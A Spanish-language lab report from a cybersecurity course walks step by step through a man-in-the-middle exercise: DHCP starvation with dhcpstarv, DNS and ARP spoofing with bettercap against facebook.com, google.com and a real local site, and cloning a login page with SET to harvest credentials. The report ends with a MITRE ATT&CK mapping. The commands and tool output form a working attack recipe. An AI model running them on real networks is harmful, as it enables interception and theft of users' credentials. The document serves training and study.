

Curso de Especialización Ciberseguridad en las TIC

Actividad 7. Ataques MITM. DHCP starvation + Rogue DHCP y DNS + SET

Resumen

Autora: Marina del Pilar López Oliva

Enero 2026

IES Camp de Morvedre

Obra publicada con [Licencia Creative Commons Reconocimiento Compartir igual 4.0](https://creativecommons.org/licenses/by-sa/4.0/)



Índice de Contenidos

2. Instala DHCPStarv y realiza el ataque DHCP Starvation para agotar los leases del servidor DHCP legítimo.....	3
3. Mediante Bettercap, prepara un servidor DHCP falso y también un DNS falso para poder envenenar a la víctima. Crea a través de SET, una página de login falsa de alguna web conocida de las que dispone (facebook o similar).....	4
4.- Prepara al cliente como si se acabara de conectar, es decir, pide una IP al DHCP, etc. Simula que se conecta a una de los logins falsos que has preparado en SET. Captura las pantallas adecuadas en las que se muestre el robo de credenciales.....	7
5.- Identifica este tipo de ataque en la Matriz MITRE ATT&CK, indicando las tácticas y las técnicas en los dos ataques, DHCP starvation y Rogue DHCP. Muestra capturas de pantalla e indica los ID adecuados.....	7

2. Instala DHCPStarv y realiza el ataque DHCP Starvation para agotar los leases del servidor DHCP legítimo

Utilizaremos el mismo escenario que habíamos utilizado en la práctica anterior.

En el Kali atacante, deberemos instalar DHCPStarv y realizar un ataque DHCP Starvation para agotar los “leases” del servidor DHCP legítimo.

```
(kali@kali)-[~]
$ sudo dhcpstarv -i eth0 -v
[sudo] password for kali:
Copyright (C) 2007 Dmitry Davletbaev
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it under
certain conditions; see <http://www.gnu.org/licenses/> for details.

14:09:06 01/14/26: setting eth0 to promiscuous mode
14:09:08 01/14/26: timeout while waiting for incoming data (2 seconds)
14:09:10 01/14/26: timeout while waiting for incoming data (2 seconds)
14:09:12 01/14/26: timeout while waiting for incoming data (2 seconds)
14:09:12 01/14/26: did not received DHCP reply for lease request (DHCPDISCOVER) in 3 retries
14:09:14 01/14/26: timeout while waiting for incoming data (2 seconds)
14:09:16 01/14/26: timeout while waiting for incoming data (2 seconds)
14:09:18 01/14/26: timeout while waiting for incoming data (2 seconds)
14:09:18 01/14/26: did not received DHCP reply for lease request (DHCPDISCOVER) in 3 retries
14:09:20 01/14/26: timeout while waiting for incoming data (2 seconds)
14:09:22 01/14/26: timeout while waiting for incoming data (2 seconds)
14:09:24 01/14/26: timeout while waiting for incoming data (2 seconds)
14:09:24 01/14/26: did not received DHCP reply for lease request (DHCPDISCOVER) in 3 retries
14:09:26 01/14/26: timeout while waiting for incoming data (2 seconds)
14:09:28 01/14/26: timeout while waiting for incoming data (2 seconds)
14:09:30 01/14/26: timeout while waiting for incoming data (2 seconds)
14:09:30 01/14/26: did not received DHCP reply for lease request (DHCPDISCOVER) in 3 retries
14:09:32 01/14/26: timeout while waiting for incoming data (2 seconds)
14:09:34 01/14/26: timeout while waiting for incoming data (2 seconds)
```

Con este comando realizamos un ataque DHCP en el adaptador red correspondiente. Desde WireShark podemos ver que el ataque está funcionando correctamente, y el router recibe los “paquetes” que envía el atacante.

No.	Time	Source	Destination	Protocol	Length	Info
13	300.005381017	192.168.12.1	192.168.12.14	DHCP	342	DHCP ACK - Transaction ID 0x72a5d191
42	397.458729907	0.0.0.0	255.255.255.255	DHCP	286	DHCP Discover - Transaction ID 0x4fdbef5e
45	399.461687975	0.0.0.0	255.255.255.255	DHCP	286	DHCP Discover - Transaction ID 0x4fdbef5e
47	401.464089939	0.0.0.0	255.255.255.255	DHCP	286	DHCP Discover - Transaction ID 0x4fdbef5e
48	403.466759538	0.0.0.0	255.255.255.255	DHCP	286	DHCP Discover - Transaction ID 0xc92b754c
51	405.472803282	0.0.0.0	255.255.255.255	DHCP	286	DHCP Discover - Transaction ID 0xc92b754c
53	407.474069236	0.0.0.0	255.255.255.255	DHCP	286	DHCP Discover - Transaction ID 0xc92b754c
54	409.474797290	0.0.0.0	255.255.255.255	DHCP	286	DHCP Discover - Transaction ID 0xc32c8b21
58	411.768784086	0.0.0.0	255.255.255.255	DHCP	286	DHCP Discover - Transaction ID 0x1dffc242
61	413.770476143	0.0.0.0	255.255.255.255	DHCP	286	DHCP Discover - Transaction ID 0x1dffc242
63	415.771960481	0.0.0.0	255.255.255.255	DHCP	286	DHCP Discover - Transaction ID 0x1dffc242
64	417.772140990	0.0.0.0	255.255.255.255	DHCP	286	DHCP Discover - Transaction ID 0x95cc9009
67	419.775157717	0.0.0.0	255.255.255.255	DHCP	286	DHCP Discover - Transaction ID 0x95cc9009
69	421.779053922	0.0.0.0	255.255.255.255	DHCP	286	DHCP Discover - Transaction ID 0x95cc9009
70	423.781467291	0.0.0.0	255.255.255.255	DHCP	286	DHCP Discover - Transaction ID 0x7a7fc42c
73	425.783990919	0.0.0.0	255.255.255.255	DHCP	286	DHCP Discover - Transaction ID 0x7a7fc42c
75	427.786792134	0.0.0.0	255.255.255.255	DHCP	286	DHCP Discover - Transaction ID 0x7a7fc42c
76	429.790795882	0.0.0.0	255.255.255.255	DHCP	286	DHCP Discover - Transaction ID 0x325ee20d
79	431.793040806	0.0.0.0	255.255.255.255	DHCP	286	DHCP Discover - Transaction ID 0x325ee20d
81	433.795143386	0.0.0.0	255.255.255.255	DHCP	286	DHCP Discover - Transaction ID 0x325ee20d
82	435.798278010	0.0.0.0	255.255.255.255	DHCP	286	DHCP Discover - Transaction ID 0x4282562f
85	437.799793377	0.0.0.0	255.255.255.255	DHCP	286	DHCP Discover - Transaction ID 0x4282562f
87	439.802706328	0.0.0.0	255.255.255.255	DHCP	286	DHCP Discover - Transaction ID 0x4282562f
88	441.804991868	0.0.0.0	255.255.255.255	DHCP	286	DHCP Discover - Transaction ID 0x14fae1e
91	443.807605366	0.0.0.0	255.255.255.255	DHCP	286	DHCP Discover - Transaction ID 0x14fae1e
93	445.809819364	0.0.0.0	255.255.255.255	DHCP	286	DHCP Discover - Transaction ID 0x14fae1e
94	447.814504128	0.0.0.0	255.255.255.255	DHCP	286	DHCP Discover - Transaction ID 0x839ecd24

Cuando se realiza este ataque, se agotan los “leases” del servidor legítimo, y al intentar volver a recibir una IP, no debería funcionar.

```
C:\Users\NumerioNegidio>ipconfig

Configuración IP de Windows

Adaptador de Ethernet Ethernet:

    Sufijo DNS específico para la conexión. . . :
    Vínculo: dirección IPv6 local. . . : fe80::b2bd:fd61:9ac7:84e2%7
    Dirección IPv4 de configuración automática: 169.254.225.24
    Máscara de subred . . . . . : 255.255.0.0
    Puerta de enlace predeterminada . . . . . :
```

3. Mediante Bettercap, prepara un servidor DHCP falso y también un DNS falso para poder envenenar a la víctima. Crea a través de SET, una página de login falsa de alguna web conocida de las que dispone (facebook o similar).

En el siguiente comando vemos que desde bettercap se ha utilizado “net.probe on”. Esto sirve para descubrir hosts activos en la red local de forma pasiva y sin necesidad de hacer escaneos agresivos. El “net.show” es un comando de visualización, que muestra el estado actual de la red tal como bettercap lo ha aprendido.

```
192.168.12.0/24 > 192.168.12.14 » net.probe on
[13:35:05] [sys.log] [inf] net.probe starting net.recon as a requirement for net.probe
192.168.12.0/24 > 192.168.12.14 » [13:35:05] [sys.log] [inf] net.probe probing 256 addresses o
n 192.168.12.0/24
192.168.12.0/24 > 192.168.12.14 » net.show
```

IP	MAC	Name	Vendor	Sent	Recvd	Seen
192.168.12.14	08:00:27:63:b0:05	eth0	PCS Systemtechnik GmbH	0 B	0 B	13:25:
192.168.12.1	08:00:27:dc:49:5f	gateway	PCS Systemtechnik GmbH	16 kB	10 kB	13:25:

```
↑ 14 kB / ↓ 221 kB / 1997 pkts
```

Ahora vamos a crear un servicio host para engañar a la víctima y que venga a nuestra IP, 192.168.12.14. En este archivo vamos a añadir páginas prueba y además la página que queramos clonar posteriormente.

```
GNU nano 8.6 hosts
192.168.12.14 facebook.com
192.168.12.14 demo.testfire.net
192.168.12.14 http://demo.testfire.net
192.168.12.14 https://demo.testfire.net
192.168.12.14 https://demo.testfire.net/login.jsp
192.168.12.14 http://demo.testfire.net/login.jsp
192.168.12.14 google.com
192.168.12.14 itvbarbastro.com
```

La página que vamos a utilizar es “itvbarbastro.com”. Después configuramos el “dns.spoof” para envenenar a la víctima con el archivo hosts que hemos creado.

```
192.168.12.14 google.com
192.168.12.0/24 > 192.168.12.14 » set dns.spoof.hosts ./hosts
192.168.12.0/24 > 192.168.12.14 » dns.spoof on
192.168.12.0/24 > 192.168.12.14 » [13:49:03] [sys.log] [inf] dns.spoof demo.testfire.net → 192.168.12.14
192.168.12.0/24 > 192.168.12.14 » [13:49:03] [sys.log] [inf] dns.spoof loading hosts from file ./hosts ...
192.168.12.0/24 > 192.168.12.14 » [13:49:03] [sys.log] [inf] dns.spoof facebook.com → 192.168.12.14
192.168.12.0/24 > 192.168.12.14 » [13:49:03] [sys.log] [inf] dns.spoof google.com → 192.168.12.14
```

Tenemos que activar también el “arp.spoof” para que el ataque funcione correctamente.

```
192.168.12.0/24 > 192.168.12.14 » arp.spoof on
192.168.12.0/24 > 192.168.12.14 » [13:54:54] [sys.log] [inf] arp.spoof arp spoofer started, probing 256 targets.
```

Y activamos el dns spoof.

```
192.168.12.0/24 > 192.168.12.14 » [13:52:13] [endpoint.new] endpoint 192.168.12.13 detected as 08:00:27:5c:e3:8f (PCS Systemtechnik GmbH).
192.168.12.0/24 > 192.168.12.14 » [13:54:24] [sys.log] [inf] dns.spoof sending spoofed DNS reply for demo.testfire.net (→192.168.12.14) to 192.168.12.1 : 08:00:27:dc:49:5f (PCS Systemtechnik GmbH) - ns1.iescamp.local..
192.168.12.0/24 > 192.168.12.14 » [13:54:24] [sys.log] [inf] dns.spoof sending spoofed DNS reply for demo.testfire.net (→192.168.12.14) to 192.168.12.14 : 08:00:27:63:b0:05 (PCS Systemtechnik GmbH) - eth0.
192.168.12.0/24 > 192.168.12.14 » [13:54:24] [sys.log] [inf] dns.spoof sending spoofed DNS reply for demo.testfire.net (→192.168.12.14) to 192.168.12.14 : 08:00:27:63:b0:05 (PCS Systemtechnik GmbH) - eth0.
192.168.12.0/24 > 192.168.12.14 » arp.spoof on
192.168.12.0/24 > 192.168.12.14 » [13:54:54] [sys.log] [inf] arp.spoof arp spoofer started, probing 256 targets.
192.168.12.0/24 > 192.168.12.14 » [13:56:18] [sys.log] [inf] dns.spoof sending spoofed DNS reply for facebook.com (→192.168.12.14) to 192.168.12.14 : 08:00:27:63:b0:05 (PCS Systemtechnik GmbH) - eth0.
192.168.12.0/24 > 192.168.12.14 » [13:56:18] [sys.log] [inf] dns.spoof sending spoofed DNS reply for facebook.com (→192.168.12.14) to 192.168.12.13 : 08:00:27:5c:e3:8f (PCS Systemtechnik GmbH) - ubuntu2204.local.
192.168.12.0/24 > 192.168.12.14 » [13:56:18] [sys.log] [inf] dns.spoof sending spoofed DNS reply for facebook.com (→192.168.12.14) to 192.168.12.14 : 08:00:27:63:b0:05 (PCS Systemtechnik GmbH) - eth0.
192.168.12.0/24 > 192.168.12.14 » [13:56:18] [sys.log] [inf] dns.spoof sending spoofed DNS reply for facebook.com (→192.168.12.14) to 192.168.12.13 : 08:00:27:5c:e3:8f (PCS Systemtechnik GmbH) - ubuntu2204.local.
```

Después nos dirigimos a la herramienta “SET” para clonar la página de “itvbarbastro”.

Deberemos indicarle que queremos que se clone un sitio web.

```
1) Web Templates
2) Site Cloner
3) Custom Import

99) Return to Webattack Menu

set:webattack>2
```

Y pondremos la página que queramos clonar.

```
set:webattack> IP address for the POST back in Harvester/Tabnabbing [192.168.12.14]:
[-] SET supports both HTTP and HTTPS
[-] Example: http://www.thisisafakesite.com
set:webattack> Enter the url to clone: https://demo.testfire.net/login.jsp
[*] Cloning the website: https://demo.testfire.net/login.jsp
[*] This could take a little bit...
The best way to use this attack is if username and password form fields are available. Regardless, this captures all POSTs on a website.
[*] The Social-Engineer Toolkit Credential Harvester Attack
[*] Credential Harvester is running on port 80
[*] Information will be displayed to you as it arrives below:
```


4.- Prepara al cliente como si se acabara de conectar, es decir, pide una IP al DHCP, etc. Simula que se conecta a una de los logins falsos que has preparado en SET. Captura las pantallas adecuadas en las que se muestre el robo de credenciales.

Una vez clonada, en la máquina que utilizamos para la víctima, vamos a la página que hemos clonado e introducimos unas contraseñas. Aunque en la imagen anterior está puesta la página de "demo.testfire.net" al final se decidió utilizar la página de "itvbarbastro".

Se entra con el cliente al "itvbarbastro" y se introducen credenciales para robarlas. En el SET se mostrarán los "GET" como que se ha accedido a la página y debajo del "We got a hit" se verán las credenciales introducidas por la víctima.

```
The best way to use this attack is if username and password form fields are available. Regardless, this captures all POSTs on a website.
[*] The Social-Engineer Toolkit Credential Harvester Attack
[*] Credential Harvester is running on port 80
[*] Information will be displayed to you as it arrives below:
192.168.12.13 - - [15/Jan/2026 14:01:04] "GET / HTTP/1.1" 200 -
192.168.12.13 - - [15/Jan/2026 14:01:05] "GET /favicon.ico HTTP/1.1" 404 -
[*] WE GOT A HIT! Printing the output:
POSSIBLE PASSWORD FIELD FOUND: uid=cliente
POSSIBLE PASSWORD FIELD FOUND: passw=123.
POSSIBLE USERNAME FIELD FOUND: btnSubmit=Login
[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.
```

5.- Identifica este tipo de ataque en la Matriz MITRE ATT&CK, indicando las tácticas y las técnicas en los dos ataques, DHCP starvation y Rogue DHCP. Muestra capturas de pantalla e indica los ID adecuados.

La táctica que hemos utilizado para el DHCP Starvation es principalmente la táctica de impacto ya que el atacante trata de manipular, interrumpir o destruir la disponibilidad. Esta táctica se identifica en Mitre Att&ck con la ID de TA0040.

Home > Tactics > Enterprise > Impact

Impact

The adversary is trying to manipulate, interrupt, or destroy your systems and data.

Impact consists of techniques that adversaries use to disrupt availability or compromise integrity by manipulating business and operational processes. Techniques used for impact can include destroying or tampering with data. In some cases, business processes can look fine, but may have been altered to benefit the adversaries' goals. These techniques might be used by adversaries to follow through on their end goal or to provide cover for a confidentiality breach.

ID: TA0040

Created: 14 March 2019

Last Modified: 25 April 2025

[Version Permalink](#)

Otra de las tácticas utilizadas en esta actividad es la TA0006, qué es la obtención de credenciales utilizada después de los ataques. En esta táctica entran las técnicas de la T1557 para la interceptación de comunicaciones. Más específicamente utilizaremos el DHCP Spoofing para suplantar el servidor DHCP.

Credential Access

The adversary is trying to steal account names and passwords.

Credential Access consists of techniques for stealing credentials like account names and passwords. Techniques used to get credentials include keylogging or credential dumping. Using legitimate credentials can give adversaries access to systems, make them harder to detect, and provide the opportunity to create more accounts to help achieve their goals.

ID: TA0006
Created: 17 October 2018
Last Modified: 25 April 2025

[Version](#) [Permalink](#)

Techniques

Techniques: 17

ID	Name	Description
T1557	Adversary-in-the-Middle	Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as Network Sniffing , Transmitted Data Manipulation , or replay attacks (Exploitation for Credential Access). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.
.001	LLMNR/NBT-NS Poisoning and SMB Relay	By responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. This activity may be used to collect or relay authentication materials.
.002	ARP Cache Poisoning	Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as Network Sniffing or Transmitted Data Manipulation .
.003	DHCP Spoofing	Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as Network Sniffing or Transmitted Data Manipulation .

También utilizamos la táctica TA0001. Que hace correspondencia a la obtención de acceso inicial a la red. Puesto que si el atacante no estaba en la red, no puede realizar estos ataques.

TACTICS ▼

[Home](#) > [Tactics](#) > [Enterprise](#) > [Initial Access](#)

Initial Access

The adversary is trying to get into your network.

Initial Access consists of techniques that use various entry vectors to gain their initial foothold within a network. Techniques used to gain a foothold include targeted spearphishing and exploiting weaknesses on public-facing web servers.

Footholds gained through initial access may allow for continued access, like valid accounts and use of external remote services, or may be limited-use due to changing passwords.

ID: TA0001
Created: 17 October 2018
Last Modified: 25 April 2025

[Version](#) [Permalink](#)

Hemos utilizado más técnicas y las sub-técnicas de la mencionada anteriormente. Usamos la técnica T1498 para la denegación de servicios a nivel de red, por los agotamientos de leases DHCP.

T1498	Network Denial of Service	Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth services rely on. Example resources include specific websites, email services, DNS, and web-based applications. Adversaries have been observed conducting network DoS attacks for political purposes and to support other malicious activities, including distraction, hacktivism, and extortion.
-------	---------------------------	---

Otra técnica es la T1584 para el uso de infraestructura falsa. Usaremos dos técnicas: DNS Server ya que el atacante compromete el servidor DNS y el Server por la configuración de servidores falsos, como DHCP y DNS.

[Home](#) > [Techniques](#) > [Enterprise](#) > [Compromise Infrastructure](#)

Compromise Infrastructure

Sub-techniques (8) ^	
ID	Name
T1584.001	Domains
T1584.002	DNS Server
T1584.003	Virtual Private Server
T1584.004	Server
T1584.005	Botnet
T1584.006	Web Services
T1584.007	Serverless
T1584.008	Network Devices

ID: T1584

Sub-techniques: [T1584.001](#), [T1584.002](#), [T1584.003](#), [T1584.004](#), [T1584.005](#), [T1584.006](#), [T1584.007](#), [T1584.008](#)

① **Tactic:** [Resource Development](#)

① **Platforms:** PRE

Contributors: Cian Heasley; Jeremy Galloway; Menachem Goldstein; Rouven Bissinger (SySS GmbH); Shailesh Tiwary (Indian Army)

Version: 1.6

Created: 01 October 2020

Last Modified: 24 October 2025

Otra técnica que utilizamos, es la T1566 correspondiente al Phishing, ya que simulamos un engaño para capturar credenciales. Usamos la sub-técnica 002 que es el Spearphishing Link, por la clonación de sitios web legítimos.

T1566	Phishing	Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.
	.001 Spearphishing Attachment	Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.
	.002 Spearphishing Link	Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.

Actividad 7. Ataques MITM. DHCP starvation + Rogue DHCP y DNS + SET

Categoría	ID	Nombre	Breve descripción
Táctica	TA0040	Impact	El atacante trata de manipular, interrumpir o destruir la disponibilidad
Técnica	T1498	Network Denial of Service	Denegación de servicio a nivel de red (agotamiento leases DHCP)
Táctica	TA0006	Credential Access	Obtención de credenciales
Técnica	T1557	Adversary-in-the-Middle	Intercepción de comunicaciones
Sub-técnica	T1557.003	DCHP Spoofing	Suplantación de servidor DHCP
Técnica	T1584	Compromise Infrastructure	Uso de infraestructura falsa
Sub-técnica	T1584.002	DNS Server	Los adversarios pueden comprometer servidores DNS de terceros que se pueden utilizar durante los ataques
Sub-técnica	T1584.004	Server	Configuración de servidores falsos (DHCP, DNS)
Táctica	TA0001	Initial Access	Obtención de acceso inicial a la red
Técnica	T1566	Phishing	Engaño para capturar credenciales
Sub-técnica	T1566.002	Spearphishing Link	Clonación de sitios web legítimos